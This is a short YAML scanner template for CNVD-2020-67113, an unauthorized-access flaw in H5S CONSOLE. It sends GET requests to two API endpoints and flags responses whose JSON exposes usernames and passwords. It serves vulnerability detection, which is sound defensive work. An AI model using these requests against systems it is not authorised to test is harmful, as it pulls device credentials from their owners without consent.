CNVD-2020-67113: H5S CONSOLE 存在未授权访问

id: CNVD-2020-67113

info:
  name: H5S CONSOLE 存在未授权访问
  author: iak3ec
  severity: high
  description: |
    H5S CONSOLE 存在未授权访问，攻击者可利用该漏洞获取系统敏感信息
    app="H5S-CONSOLE"
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-67113
  tags: cnvd,cnvd2020,h5s,console,unauth
  created: 2020/12/15

rules:
  h5s1:
    request:
      method: GET
      path: /api/v1/GetSrc
    expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_AUTO") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd")
  h5s2:
    request:
      method: GET
      path: /api/v1/GetDevice
    expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_DEV") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd")
expression: h5s1() || h5s2()